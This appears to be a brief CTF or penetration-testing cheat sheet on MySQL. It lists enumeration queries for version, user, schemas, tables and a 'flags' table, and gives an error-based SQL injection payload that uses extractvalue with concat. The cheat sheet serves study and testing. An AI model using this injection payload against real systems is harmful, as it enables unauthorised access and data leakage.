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# MySQL

## Enum

```sql
-- Get Version Information
select version();
-- Get Current User
select current_user();
-- Get Table Schema
select table_schema from information_schema.tables group by table_schema;
-- Get Tables
select table_name from information_schema.tables where table_schema = 'app';
-- To learn more about a Table
select column_name, data_type from information_schema.columns where table_schema = 'app' and table_name = 'menu';
-- To get all the tables in the current schema
SHOW Tables;
-- Select All
SELECT * FROM flags;
```

## Error Based

```sql
-- Cast doesn't return error description, but we can use Extract Value and UpdateXML
extractvalue('',concat('>',version()))
```


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